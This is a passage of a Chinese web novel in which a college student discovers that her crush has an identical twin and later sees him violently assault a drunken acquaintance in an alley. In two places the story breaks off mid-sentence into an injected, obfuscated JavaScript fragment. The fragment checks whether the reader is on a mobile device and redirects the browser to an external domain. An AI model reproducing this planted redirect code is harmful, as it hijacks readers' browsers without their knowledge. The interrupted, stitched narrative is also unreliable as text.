刚才,她一进屋,季行月还没等她多说几句后,只是对视了两秒就立刻撇开视线,丢下一句去给她泡杯热饮,就钻进了厨房。 哪怕李再星今天没带脑子出门,也看出来季行月面对自己时很不自在。这还没诉诸于口的告白,恐怕凶多吉少。 李再星坐在客厅的沙发上,偷偷瞄了眼厨房方向。 穿着粉色粗编织毛衣的男生,正在低头撕开茶包。室内开着地暖,分明佷暖和,他却仿佛被冻僵似的,泡茶的动作僵硬到笨拙。 一定是她在这里,让他不自在了。 李再星心如死灰。 如果再告白,连朋友都做不成,那今天就是她最后一次吃他做的饭。 思及此,李再星更伤感了。 与此同时,季行月躲在厨房,心乱如麻。 该死的,都怪季舒阳昨晚突然发疯,大半夜跟他提起李再星,害得他后半夜做的噩梦竟然续上了。 还是那个婚礼,还是那首《婚礼进行曲》,唯一不同的,原本怎么也看不清脸的新娘,竟然变成了李再星。 这绝对是噩梦! 可梦里的他为什么会笑得那么开心?甚至今天早上醒来时,发现自己嘴边还有口水印。 什么出息啊,竟然开心到流口水! 季行月催眠了自己一上午去忘记这事,然而刚才开门,看到李再星的那一瞬间,梦里的场景走马灯一般飞快闪过,就连交换对戒后接吻的细节都无比清晰。 接吻…… 季行月的视线不自觉落在李再星的唇上,饱满的唇瓣涂了薄薄一层润唇膏,清透粉润,就像小巧圆润的樱桃。 “季行月?”樱桃似的嘴唇微张,轻唤出他的名字。 季行月一瞬间回神,对上李再星的视线,脸上的温度在寒冷冬天直线飙升。 季行月为自己感到羞耻和绝望,随便找了个借口就躲进了厨房,心不在焉哆哆嗦嗦地给她泡热茶。 完了,他该不会是被季舒阳吓出病来了吧?他怎么会梦见和李再星接吻?他怎么会还想着和李再星现实中接吻?他…… ——你喜欢李再星吗? 季舒阳昨晚的问话冷不防在脑子里一闪而过。 季行月身躯一震。 像短路的电流瞬间连通,他不可置信睁大眼睛。 不会吧?不可能吧?不应该是这样吧? 端着杯子的手骤然松开。 “啪——” 陶瓷杯应声落地,热茶和碎片四溅。 李再星被厨房的动静吓了一跳,立刻起身,“你没事吧?” 然而季行月只是一动不动站在那里,像是丢了魂,模样呆滞。 李再星正要跑去厨房看他有没有伤到哪里,忽听玄关传来密码锁被打开的嘟的一声提示。 她下意识朝玄关看过去,大门被人从外面打开。 身形高大的男生拎着超市便利袋从外面走进屋。 他穿着件白色羽绒服,黑色短发,肤色很白,瞳仁漆黑,五官精致帅气。 但现在并非感叹他帅气的时候。 李再星睁大了眼,以为自己出现幻觉,看一眼玄关,又不确定地扭头看一眼厨房。 一个是她的crush,另一个也是她的crush? 厨房的crush似乎同样惊讶,两眼发直看向来人。 而玄关的crush不慌不忙换鞋进屋,一步步走到李再星面前,冷峻的脸上倏然扬起一抹亲和力拉满的微笑。 他看着她,笑容灿烂到极致,漂亮到虚伪:“你好,我是季舒阳。” 李再星目瞪口呆。 什么情况? 她喜欢的人……是双胞胎?! 17.第 17 章 李再星并非没见过双胞胎,即便是双胞胎,外貌和性格多多少少也会有些许差异。 但眼前的男生,不光和季行月长得一模一样,连他扬起的笑容,都和季行月如出一辙。 李再星干巴巴回应他的招呼,“你、你好……原来你们是双胞胎啊……” 季舒阳微笑着承认:“嗯,我是哥哥。” 季行月终于从接连的冲击和变故中回过神来,不自觉提高声音,“你怎么回来了?” “买完东西就回来了。” 季舒阳平静回他。似乎如他所说,买完东西回家是件理所应当的事。 季行月气极,这人分明知道他不是在问这件事。 可李再星还在场,他也不方便当着她面去质问季舒阳打的什么主意。 季行月只能先憋闷地收拾厨房地上的残局。 而季舒阳,则将刚买的菜拎到餐桌上,慢条斯理脱下羽绒服外套,挂到玄关门口。 李再星认出他外套下穿着的那件浅蓝色毛衣,正是她第一次来这里时,季行月身上穿的那件。 那天实在记忆深刻,所以她记得很清楚。 天啊,这两人就连穿衣风格都一模一样,这谁能分得清? 李再星正暗自感慨时,忽听季舒阳出声询问:“拖鞋还合脚吗?” 好半天,李再星才反应过来他是在问自己,下意识低头看了眼脚上的浅黄色棉拖,和上次一样的猫咪花纹,但这一次尺寸刚刚合脚。 刚进屋时,她只顾着为季行月躲闪的反应黯然神伤,没注意脚上换的这双新棉拖。 虽然搞不懂季舒阳为什么要关注这件事,但李再星还是连忙点头,“合脚合脚,很合适!” 季舒阳弯了弯唇,“那就好。” 又说:“我刚去超市买了些菜,你有没有想吃的菜?” 李再星分不清是他太自来熟,还是自己今天被双胞胎这事冲击到,过于怯场,完全跟不上他的脑回路。 她一脸懵,“什、什么?” 季舒阳:“不是在来家里吃饭的吗?” 他顿了顿,朝厨房那边扬了扬下巴,“季行月说的。” 李再星本以为会是季行月下厨,没想到是他来做饭。她看向厨房。 季行月脸色很差劲,难怪他今天起床并没看见季舒阳提前做好的饭菜,还以为季舒阳是突然犯懒改了主意,原来是在这等着他。 不,季舒阳绝对是昨晚提议让李再星来家里吃饭时,就已经计划好了这件事! 季行月咬牙切齿挤出一个笑,“我哥一向热情好客,你别跟他客气。” 李再星疑惑,上次他不还说他哥不好相处吗,连打招呼都不乐意。难道他有两个哥哥? 不过季舒阳确实对她很亲切,李再星原本尴尬得想开溜,但到底没能拒绝。 季舒阳买回来的都是已经备好的菜,再加上他还把季行月喊去帮忙,两人合作,一顿丰盛的午餐很快就摆上餐桌。 李再星怎么也没想到今天破釜沉舟的告白宴会是三个人同桌,餐桌上,过分安静,又实在尴尬。 她忍不住挑起话题想缓解气氛,“季……” 才说一个字,一左一右两个姓季的同时看向她。 李再星差点被口水呛到,看了眼粉色毛衣的季行月,又看向蓝色毛衣的季舒阳,干笑了声:“哥、哥,哥哥也在这边读大学吗?” 她对季舒阳的称呼让季行月不满皱起眉,“你喊他季舒阳就行,用不着叫哥。” 李再星抽了抽嘴角,问题是名字还没喊出来,你也转过头来了啊。 季舒阳倒是对她这称呼很受用,笑容比刚才还柔和,“我也是青大的学生,我是计算机系。” 李再星再一次惊讶,还以为是别的学校的,竟然也是青安大学的,怎么从来没人告诉她! 啊不对。 李再星忽然想起昨晚表白墙投稿视频的那两条评论,计算机系的那位……原来就是季行月的哥哥! 该死,她平时应该多看看表白墙的,再不济也该多在校园群里窥屏吃瓜,再再不济,当初捞人的时候,应该多搜搜关于季行月的事情! 李再星懊恼不已,忽听季舒阳状似无意地顺口一提,“我高中也在明礼念。” 双胞胎一般都是念同一所高中,李再星早就知道季行月是明礼人,所以并不意外。 但很快,又突然想起什么。 计算机系是青大的王牌专业,所以季舒阳成绩应该很好。 成绩很好,双胞胎帅哥,姓季,明礼高中…… 李再星感觉自己冷汗直流。 坏了,碰到韩栀子骂了三年的对家了。 对家正拿着公筷给她夹菜,绽放的笑容如同身后有太阳花盛开,“别客气,多吃点。” 季行月拧着眉盯着今天反常到诡异的季舒阳,心里十分不爽,同样给李再星夹去一块鸡翅,笑得比他更灿烂,“吃我这块,这块更大。” 两张一模一样的脸,扬着一模一样的笑容,一左一右盯着李再星,等着她做选择。 “……” 李再星愈发汗流浃背。 救命啊,这又是什么情况? 今天之前,要问李再星看到双胞胎是什么感觉,她会说,很奇妙。 今天之后再问,李再星绝对要换个形容——简直是恐怖! 她今天狠狠见识到双胞胎之间的默契,无论是给她夹菜还是倒水拿纸巾,季行月和季舒阳两人的动作几乎同步,像照镜子一般。 要不是因为他们是双胞胎,她又和季舒阳并不熟,李再星几乎要以为他们俩是在故意跟对方较劲。 都说双胞胎多少会有些性格差异,可她今天完全感觉不到季舒阳和季行月的差别。分明和季舒阳只是第一次见面,对方却待她特别亲切,就连这点,也和当初的季行月一样。 硬着头皮吃完这顿饭,李再星一秒也待不下去,找了个僵硬的借口开溜:“我、我室友突然有事找我,让我马上回宿舍……” 话音才落,季行月和季舒阳再一次同步看向她,异口同声:“我送你。” 两人仿佛无时不刻都在等着她做选择。 李再星两个都没选,顾不上体面,丢下一句干巴巴的拒绝,就落荒而逃。 目送着李再星像只受惊的猫逃难般离开,季行月视线看回季舒阳,脸上笑容变成不满,“你怎么突然暴露我们的身份?” 季舒阳的笑容同样淡去,冷淡开口:“就算我今天不出现,她迟早也会知道。” 他说得确实没错。 虽然季舒阳平时低调到查无此人,但毕竟两人长着同一张惹人注目的脸,昨晚那场表演又被人拍视频发去表白墙,李再星知道他们是双胞胎只是时间问题。 真论起来,她直到今天才知道这事,也是她自己心大。 话虽如此,季行月还是不爽他擅自违背约定,“可我们之前约好的,你用我的身份和她相处。” “我们之间没有约定,只有交易。” 季行月几乎要被气笑,难怪季舒阳当时一个劲问他开什么条件,原来是为了把这事定性成交易。 这人一开始就谋划好了,定性成交易,才不会欠他人情,也不需要守约,随时可以中断。 季行月问:“所以你不想继续这场交易了?” “嗯。” “为什么?”季行月不理解,“用我的身份跟她相处,对你来说不是好事吗?你也看到她刚才对你的态度了,你越热情,她越不自在。” 他话里带刺,却是事实。 今天的李再星,完全把季舒阳当作陌生人,甚至比对陌生人还要疏远,肉眼可见的拘谨和尴尬。 说不难过是假的,但有些事情,不管想不想做,敢不敢做,都必须要做。就好像腐烂的伤口想要愈合,就必须先忍痛剜去烂肉。 季舒阳缓缓攥紧手指,“至少,她眼里看见的我,是季舒阳。” 原来是开始贪心了。 季行月更加气得想笑,这是真的把他当成用完就扔的工具人了啊。 视线陡然落在季舒阳身上穿的的淡蓝色毛衣上,季行月眯了眯眼,认出这是自己的衣服。 回想起季舒阳今天反常到诡异的热情笑容,霎时间,他明白了什么。 打扮,言行,笑容,季舒阳的一举一动都在模仿他,就好像成为了他的影子。 一直以来被称为榜样的季舒阳,如今竟然毫无底线地拿他当范本学习。 耀眼的太阳竟然真的变成了月亮的影子。 分不清是觉得讽刺,还是得逞的畅快,季行月抬手挡住因过于兴奋而无法控制抽搐的嘴角,疯狂的欣喜凝聚在眼底。 哈,季舒阳,你真的要完蛋了。 …… “完蛋了,我这次真的要完蛋了。” 当天晚上,李再星跟韩栀子转播了这事,包括遇见她对家季舒阳。 韩栀子不愧是损友,这时候笑得比谁都嗨,“你该当场给我打视频让我看现场直播的!” 李再星:“……” 韩栀子倒不介意李再星跟她对家的弟弟扯上关系,只是幸灾乐祸,又没心没肺地开马后炮:“你不是说你crush是系草吗,那应该挺出名的啊,你这段时间就没听说过他有个双胞胎兄弟这事?” 李再星一提这事就懊悔,她跑回宿舍后,大为震惊地跟几个室友们说了季行月有个双胞胎哥哥这事,结果室友们个个震惊她竟然才知道。 季行月确实挺出名,有个双胞胎哥哥也不是秘密,所以关柔王佳佳都知道这事,也都理所当然地觉得李再星也早知道,所以都没刻意提。毕竟李再星喜欢的是季行月,跟他有没有双胞胎哥哥没什么关系。 偏偏李再星不是什么热衷校园八卦的人,也就捞人那一次逛过一会儿表白墙。 “我跟你聊了这么多次季行月,你不是也才知道他就是你那班长的弟弟吗?” 李再星同样朝韩栀子开马后炮。 两人都是对不感兴趣的事就完全不会关注的类型,这才阴差阳错地造成了如今的灯下黑局面。 韩栀子有些心虚地轻咳一声:“我在意的是年级第一,关注他弟弟干嘛。” 又转移话题:“不过是双胞胎而已,你又不是同时跟他们交往,至于这么介意吗?” “我不是介意,只是觉得很别扭。” 具体哪里别扭,李再星也形容不上来,“不光是长相,他们俩连亲切的性格都一模一样,简直像到诡异。” “……亲切?你说季舒阳亲切?” 韩栀子虽然跟季行月不熟,但无比清楚季舒阳是什么德行,这辈子都没想过亲切两字能跟这冰山联系在一起,“你确定你说的是季舒阳?我高中三年就没见他有过什么好脸色。” 比起损友这张嘴,李再星更相信自己今天的亲眼所见,“有没有可能是你带了仇敌滤镜?” 韩栀子百口莫辩:“我说真的,用我今年的学习运发誓,你绝对被他骗了。” 李再星莫名其妙:“可他为什么要骗我?” 韩栀子语塞,还真问倒她了。 季舒阳和李再星素不相识,没事骗她做什么?要说季舒阳和李再星唯一的交集,除了他弟弟季行月,那就是自己。 韩栀子开启阴谋论模式:“难不成季舒阳知道你是我的人,要把你从我这哄骗走?他也把我当成一辈子的敌人!” 李再星信她,还不如信自己是秦始皇,“你还不如说他是对我一见钟情,想给我留个好印象。” 韩栀子还真的当真,狗血之魂熊熊燃烧:“好家伙,那岂不是泼天的狗血三角恋!记得给我现场直播!” “……” 李再星毫不留情挂断电话。 …… 季行月很不愉快。 虽然计划被季舒阳强行破坏,但殊途同归,他一开始的目的顺利达成了,季舒阳真的活成了他的影子。 可为什么,他心里这么不痛快呢? 更不痛快的是,李再星这几天一直躲着他。微信约她见面,她不是说有课走不开,就是有事要陪室友,就连美食诱惑都没了效果。 人在心气不顺时更容易倒霉,季行月正在校外一个人郁闷吃饭的时候,偏偏遇见了张皓这个不速之客。 也不知道他从哪冒出来的,喝得醉醺醺,“季行月,操,你小子不回我消息,一个人在这喝酒啊。” 季行月实在不想搭理他,但还是挤出一个假笑,“这两天事情有点多,可能忘记回了,真是不好意思。” “给你发了那么多条消息都不回,你小子把自己当皇帝忙呢,过来跟我们一起喝,兄弟才原谅你。” 张皓二话不说抓住季行月的胳膊,半拖半拽把他强行带到了二楼。 一桌的醉鬼,张皓的室友们也是季行月的前室友。 “哟,这不是我们的系草大人吗?早知道你也来,哥几个高低得喊几个妹子过来,她们肯定闻着味就过来了。” 他们和张皓是一路货色,都把季行月当作钓女生的鱼饵。这会儿喝醉酒,说的话也更直白。 季行月被一身牛劲的张皓摁在椅子上,额角青筋狂跳。 该死,早知道今晚要倒大霉陪这些酒鬼,他刚才见到张皓的时候,就应该马上假扮季舒阳,直接甩脸走人。 “我们系草已经名草有主了,前两天莎莎还跟我哭呢。”张皓酸不溜秋地说。 另一个瘦猴男生笑着调侃:“正好你这备胎就有机会了啊。” 张皓被备胎这词刺痛,狠呸了一声,“谁他妈是备胎,你该不会以为我是真喜欢她吧,只不过是看她穿得挺骚,很好追的样子,想试试而已。” 瘦猴笑得老不正经,“是想试还是想上啊。” 他们今天确实都喝得挺醉,嘴也比往常都臭。 季行月不适地抿起唇,滴酒未沾也对他们这些言论感到反胃。 他站起身,不想再待下去,“不好意思,天色不早了我得回家了,不然我哥会说我。” 平时把季舒阳搬出来当借口很好使,但今天,张皓却不乐意放他回去,“操,回去这么早干嘛,你哥又不是你爹,怕他个屁啊!” 瘦猴看热闹不嫌事大,拎起两瓶啤酒往他面前一搁,“把这两瓶酒吹了,哥们才放你走!” 季行月扫了他们一眼,戴眼镜的那个已经醉得不省人事,不用顾忌他,瘦猴和张皓虽然状态都挺醉,但两人都是宿醉后不会断片的类型,要是撕破脸拒绝,明天肯定会被记上,还会大嘴巴到处宣扬,破坏他人设。 飞快权衡一番,季行月还是选择当个忍者,拎起其中一瓶啤酒,仰头对瓶吹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497596|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 得逞的瘦猴使劲鼓掌,“帅啊哥!难怪这么多妹子喜欢你!” 他倒是不吝啬拍马屁,张皓却觉得季行月这举动分明是不愿意跟他们多待,宁愿灌酒也要离开,不爽开口:“操,季行月,你这么急着走,我看不是要回家,是又要去陪你那女朋友吧?他妈的,以前每次让你跟妹子吃饭,你一脸假清高样,老子还以为你是个gay,结果背着兄弟们找了女人。” 听到张皓阴阳怪气,季行月灌酒动作没停,垂在身侧的手指紧攥成拳。 他是个心胸宽广的人,不跟这种废物醉鬼计较。 没错,多一事不如少一事,为了他的好人人设,他忍—— “还以为你女朋友是个多大的美女呢,也就脸能看看,要胸没胸要屁股没屁股,跟个毛没长齐的初中生似的,你眼光也不怎么样嘛。” ——他忍个屁! 季行月眼神一瞬沉下,刚才的自我暗示立刻被抛到九霄云外,啤酒瓶被狠狠搁到桌上。 哐的一声,动静很大。 瘦猴被他脸上一闪而过的冷色吓得一激灵,酒都醒了大半,可定睛一瞧,季行月分明还带着笑,刚才像是他喝多了酒产生的错觉。 季行月死死盯着张皓,努力让自己的声音听起来不那么咬牙切齿,“张皓,你喝醉了。” “喝醉个屁!我没醉!” 张皓完全就是醉鬼作态,身体摇摇晃晃像是随时要倒。 季行月对一旁的瘦猴道:“这个点也快宵禁了,你赶紧带眼镜回宿舍吧,张皓估计要再耍会儿酒疯,回宿舍太闹人,我带他去开个房。对了,你们结账了吗,没有的话我来结账。” 少一个醉鬼少一个负担,瘦猴巴不得把这包袱丢给季行月,连忙点头,心里也不由暗叹,难怪张皓背地里总说季行月是个没脾气的烂好人,一直扒着他不放,都这么嘴他女朋友了,他竟然都没发脾气,还愿意负责醉鬼,甚至帮他们结账。 季行月目送着瘦猴扶着眼镜离开,去前台结了账,单手拽起趴在桌上的张皓往外走。 张皓口齿不清地嘟囔:“这是去哪啊,怎么继续喝啊。” “带你去开间房,到那再继续喝。” 季行月耐心回着他,但语气细听是阴冷的,脸上也没再见笑。 说是要带他去找个宾馆开房,却没马上往路上走,而是先扫了圈街头巷尾的监控位置。 张皓抓住关键词,“开房,开房好啊,我要叫个妹子过来。” 说着就从外套兜里摸出手机,点进微信里的某个聊天页面。 季行月眼尖地瞧见他手机微信里给人的奇怪备注,“你要找谁?” 张皓笑得又贼又猥琐,“当然是一次性女朋友啊,这个妹子还不错,要不要我推给你?” 他这种时候倒大方了。 听懂他在说什么,季行月差点嫌弃地要把他整个人给丢出去。 知道这垃圾缺德,没想到竟然缺德到干这种违法肮脏的勾当。 “行,你先约。” 季行月没拦着他,放任他微信联系对方,一边带着他往锁定的街角巷口方向走。 张皓绝对不是第一次做这种事,即使醉成这鬼样也熟练地给对方发了一串季行月看不懂的行业黑话,就在双方最后要敲定地点时,季行月也带着他抵达了监控死角的目的地。 季行月停下脚步,脸上挂着没有温度的笑:“皓啊,约完了吗?” “马上马上,咱们要去哪家宾——” 张皓的话还没问完,季行月的手先挥过来,一把钳住他的脖子,将他整个人掼到墙上。张皓后脑勺重重磕上墙壁,牙齿狠狠咬破了舌头,一嘴的血腥味,想咳嗽却被紧紧掐住喉咙。 呼吸困难时,张皓酒意清醒几分,看清了季行月此刻的神情。 早已不见平时的温和模样,季行月脸上只剩冰冷尖锐的戾气。 那双漆黑的眼睛沉郁地盯着他,令人后脊生寒。 似是被他惊恐的表情取悦,季行月忽然笑了。 “张皓,”季行月掐住他喉咙的手指一寸寸收紧,手背青筋暴起,脸上却带着漫不经心的笑:“酒能随便喝,但酒疯可不能随便乱耍,知道是为什么吗?” 张皓瞪大了眼,整张脸都因为窒息而憋得通红,“你、你他妈……” “因为乱耍酒疯会遭报应。” 没等他后半句骂完,季行月自问自答后,松开手,一拳砸上张皓的肚子。 拳头与□□撞击出沉闷声响,张皓一声闷哼,季行月一松手,他就立刻弓下腰,跪在地上呕得稀里哗啦,又脏又臭。 “你、你这个疯子!” 张皓跪在地上狠狠咒骂,“我要告诉所有人你是个双面人!” 季行月非但没被威胁,反而像是听到了什么好笑的笑话一样,不客气地笑出声,“行啊,你尽管去说,去告诉所有人,我是个疯子。” 他看着张皓像条狗似地爬向摔在地上的手机,真想打电话摇人,也一点都不急。 手里拎着的啤酒瓶一前一后地轻晃,季行月一步步朝张皓走过去,慢慢悠悠,“不过皓啊,你好像没搞清楚一件事,大家是更愿意相信我这个老好人呢,还是会信你这只阴沟里的老鼠呢?” 就在张皓哆哆嗦嗦地把手机解锁时,季行月也停在了他面前。 季行月居高临下看着张皓,如同索命的笑面鬼,扯着的嘴角在笑,眼神却冷得可怕,“所以说,疯子装好人的时候,你这没用的垃圾就该适可而止。” 他薅起张皓头发往上一拽,张皓被迫抬起头,还没反应过来,季行月手里那瓶拎着的啤酒就怼进他嘴里,玻璃瓶嘴磕得他牙酸嘴麻。 张皓鼻涕眼泪呛了一脸,怎么挣扎都不受用,就这么咕噜咕噜被灌了一整瓶。他本就醉得四肢无力,这么一瓶再灌下去,彻底软在了地上,再起不能。 季行月捡起他掉在地上的手机,用他的指纹解开锁,把他刚才的微信聊天记录截图,模仿张皓炫耀的口吻,假装发错人,发到经管系的校园群,任群里信息爆炸,他把手机塞回张皓兜里。 做完这些,季行月从口袋里拿出一片湿巾,撕开包装,嫌弃地使劲给自己擦手,“啧,脏死了!” 一边擦手,他一边走出暗巷,正想找个垃圾桶,忽然听见一声打嗝。 季行月脚步一顿,偏头看向靠在墙壁的垃圾桶。准确来说,是躲在垃圾桶旁但没完全被遮挡住的书包,以及那莫名眼熟的猫咪挂件。 心里隐约浮出某种不妙预感。 季行月朝那边走过去。 一步,两步,三步…… 不妙预感成真,他停住也僵住。 “李……再星?” 躲在垃圾桶后死死捂住嘴巴的女生,赫然是这两天躲着不见他的李再星。 被他喊出名字的一瞬,李再星没抓稳的手机啪地一声从怀里滑落在地。 手机屏幕在黑暗中发出幽幽的光,屏幕上还未来得及拨出的报警电话醒目又刺眼。 季行月缓缓对上那双盛满惊慌的杏眼。 大眼瞪小眼,李再星控制不住又打了个被吓出来的嗝。 像暂停的电影一瞬按下播放键,她僵硬咧开嘴角:“嗨……” 季行月分不清绝望还是无语地闭上眼。 他爹的。 完蛋了。 18.第 18 章 寂静昏暗的巷头,李再星缩着脖子蹲在垃圾桶旁,呼出的白气因打嗝而断续。 她一边止不住打嗝,一边脚趾抠地。 再也没有比这更尴尬的事了。 撞见熟人打架不说,还被对方当场抓包,还被吓到打嗝。 但比起尴尬,现在最大的问题,眼前这个人,究竟是季舒阳还是季行月? 身前的男生逆光站着,高大的身躯自带压迫感,昏暗的光线让他的五官更加立体,脸上却不再挂着平时的笑,嘴唇弧度平直,没有任何表情。 这让李再星想起在地铁里初见时的第一印象。 那时的冷酷是误会,现在变成事实。 男生忽然弯腰,李再星立刻想起他方才挥拳的狠厉,本能闭眼抱头,作防御姿势。却半天不见拳头落下,只听见一声玩味轻笑。 “你要在这当一整晚的蘑菇?” 李再星试探睁开一只眼,面前一只漂亮的手,掌心朝上向她摊开。 似乎是要扶她。 李再星小心翼翼伸手搭上,即刻被握住。 他手指的骨头很硬,修长而有力,掌心出乎意料的温暖。许是刚才“运动”过的缘故。 她从地上被拽起来,腿有些软,往前踉跄一步时,被男生扶住。 “嗝……谢……嗝……谢谢。”她的打嗝仍旧没停。 又一声轻笑。 低沉的笑声像小虫子钻入耳朵,莫名有些痒。 季行月松开她,递还刚从地上捡起的手机,“放心,我不会杀人灭口。” 他的宽慰落在李再星耳中,变味成威胁,尤其这手机屏幕上还显示着即将拨出的报警电话。 李再星连忙作保证:“我不会说出去的,也不会告诉你弟……嗝、哥……” 分辨不清眼前人是谁,她在称呼上卡了壳。 季行月微微眯眼,人设崩塌的绝望中又燃起力挽狂澜的希望,“你是想说不会告诉我弟?” 原来他是季舒阳! 李再星莫名松口气,还好打架的不是季行月,不然真的太幻灭。 她使劲点头,“我……嗝、嘴很严!” 见她信了自己季舒阳的身份,季行月心情顿时轻松不少,“走吧,送你回宿舍。” “那……那个人呢?” 李再星并不清楚他打架的原因,当时也没听清多少,只是怕就这么把人丢在那里,这么冷的冬天,会冻出人命。 季行月本想就这么不管,见她犹犹豫豫放心不下,拿出手机拨通急救电话,喊了辆救护车。 他挂断电话,朝她扬了扬下巴,“现在可以走了?” 李再星把脑袋点成小鸡啄米。 临近宵禁时间,外面已经没几个人,两人并肩走在回宿舍的路上。 季行月先打破沉默,“你怎么这么晚还一个人在外面。” “我……嗝、我回了趟家,临时……嗝、临时决定回学校。” 李再星今天被妈妈喊回家,一起给继父过生日。 虽然已经是继父,但李再星跟他相处仍不自在,硬着头皮勉强挺到晚上,最后还是临阵脱逃,以明天有早八为由,连夜返校。 本以为逃离了尴尬,没想到更大的城堡在等着她脚趾动工。 也怪她一时偷懒抄近路,越怕麻烦越遇上麻烦。 见她打嗝不停的模样,季行月有些好笑,“你做个深呼吸再憋气半分钟。” 李再星一时没听懂,“什、嗝、什么?” 季行月索性停下脚步,指示,“吸气。” 李再星下意识照做,才照做完,就被季行月伸手捂住口鼻。 她慌乱眨眼,本能想挣扎,又听他说:“屏住呼吸数三十下,看还打不打嗝。” 原来是在帮她止嗝。 差点以为他真要杀人灭口。 李再星松口气,听话照做,憋气默数。 三十秒,并不短暂。 季行月站在她身前等候,没收回手。 也不知是他的手太大,还是她的脸太小,一只手就将她下半张脸完全遮住。手指触碰到的皮肤很细腻,也冰凉,像Q弹柔软的布丁。 她垂着眼睛,像在认真默数。 身高差的缘故,季行月微弓着背,头也低着,将她浓密的睫毛看得分明。 睫毛并不卷翘,却很长,直直往下落,垂眼时显得很乖。 也勾得人很想欺负。 李再星默数完三十下,想要示意季行月可以松手,然而才抬头,身前男生忽地对着她眼睛吹了下气。 李再星吓了一跳,连连退后几步,也被突如其来的强风吹眯了眼,眼睫毛胡乱眨动。 正狼狈时,听到男生的愉悦笑声,显然一副恶作剧得逞的模样。 “……喂,你干嘛呀!” 李再星着实被他的行径幼稚到。 “我在帮你止嗝呢,再被吓一次也能止嗝,负负得正嘛,你看你这不是没打嗝了。” 季行月顶着季舒阳的身份,不用操心维持人设,放肆释放本性。 虽然李再星确实止住打嗝,但他脸上的笑让这话毫无说服力。 李再星信他才怪,“你更像是喝醉了在耍酒疯。” 她早就闻到他身上的淡淡酒气。 真是的,兄弟俩差别真大,弟弟上次醉酒又乖又温柔,哥哥喝醉却变成幼稚鬼。 不,或许这就是他的本性。 李再星忽然悟出点最近的违和感是因为什么。 第一次去季行月家,季行月说他哥不好相处,他哥也真的故意没事找事使唤他。 第二次去季行月家,季舒阳却表现得十分亲和,仿佛跟她很熟络,热情到异常。却又听韩栀子说,季舒阳的亲切是在骗她。 而今晚,她亲眼目睹季舒阳的一顿暴力输出和幼稚行径。 所以,她最近产生的违和感,都是因为季舒阳的表里不一,装模作样! 李再星一顿分析,醍醐灌顶。又听男生笑自己:“这么胆小,以后别有热闹就往上凑。” “我才不是为了看热闹,”李再星矢口反驳,“我以为你是季行月所以才跟过去的。” 季行月挑了挑眉:“你最近不是在躲着他吗?” 李再星一愣,下意识否认:“没、没有啊。” 话音才落,就被季行月用食指弹了一下脑门,“撒谎。” 不轻不重一下,有点小疼。 李再星不满捂住额头,这人暴露本性后完全不装了。 可恶,她刚刚就该把报警电话拨出去,就不该因为分不清他是季舒阳还是季行月而犹豫。 李再星这几天确实在躲着季行月。 究其原因,得把时间倒回几天前。 在季行月家里吃完那顿饭,并得知他还有个双胞胎哥哥后的第二天,李再星在北校偶然遇见季舒阳。 对方书包上的猫咪挂件让她把人错认成季行月,过于随意地去打招呼,落得个认错人的尴尬。 尽管季舒阳对被认错这事表现得并不在意,但她毕竟跟季舒阳不熟,相处不能太随意,还是向他解释自己认错人的原因。 是他书包上猫咪挂件,刚好跟她和季行月在娃娃机里夹到的一样。 本以为同款挂件只是巧合,她却从季舒阳口中得知事实真相。 这会儿听到罪魁祸首问自己为什么躲季行月,李再星心里怨念更甚。 他不再装好人,李再星也不再跟他客气。 “还不是因为你!” “因为我?”季行月微微眯眼,季舒阳又作了什么妖。 李再星反手指了下书包上的猫咪挂件,“你那天不是说,季行月嫌这挂件太丑,所以送给你了吗?” “……” 季行月一阵沉默。 他貌似、好像、确实说过这种话。 但说过归说过,季舒阳怎么嘴巴不带把门呢?这不是成心损他形象吗? 不,没准季舒阳还真是成心的。 “亏我之前还把这当作情侣同款来着,”李再星满是怨念地嘟囔,“原来只有我这么想,太丢脸了。” 不只是丢脸,也很失落。 随手送人的猫咪挂件,雪夜告白的狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504313|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狈而逃,或许季行月真的对她没那意思。 李再星长叹一口气,扭头却见身旁男生脸上挂着意味不明的笑,荡漾到傻气。 李再星一脸莫名:“你笑什么?” “我笑了吗?” 季行月自己都没察觉,摸了摸嘴角,确实在上扬,也愈发上扬,“原来你是想和季行月拥有情侣同款啊,早说嘛。不过你为什么想跟他有情侣同款,该不会你喜欢他?” 他不知缘由的笑,在李再星看来是幸灾乐祸。 这人果然性格差劲到极点。 他的明知故问实在欠揍。 “笑屁!我就是喜欢他怎么了,他比你性格好一千倍!” 李再星怼他,又不解气地使劲往他鞋上踩了一脚,怕被抓住报复,她踩完就跑,一溜烟钻进女生宿舍大门,头也不回逃走。 她没有回头,于是也没看见,她身后的男生并没有追上来。 只是站在原地,一动没动。 锥形的路灯光线下,他的脸一寸寸变红。 心跳声在夜里响亮,呼出的白气很快消散。 半晌,季行月捂脸蹲在地上。 双手将脸颊遮个严严实实,只露出两只通红的耳朵,和指缝间溢出的闷笑。 …… 积累几天的烦躁一扫而空,季行月哼着歌神清气爽回到家,还很有心情地把鞋放进鞋柜整理好。看见鞋柜里那双浅黄色猫咪图案的女士棉拖,嘴角又上扬了一个度。 他正要回房,瞥见季舒阳紧闭的房门,脚步一顿。 季行月走到他房门口,敲门轻喊了声,没人回应。 又拿着手机给季舒阳的微信发了个数字1,没听见消息动静。 手机被开成静音模式,代表季舒阳已经睡下,他一向作息规律。 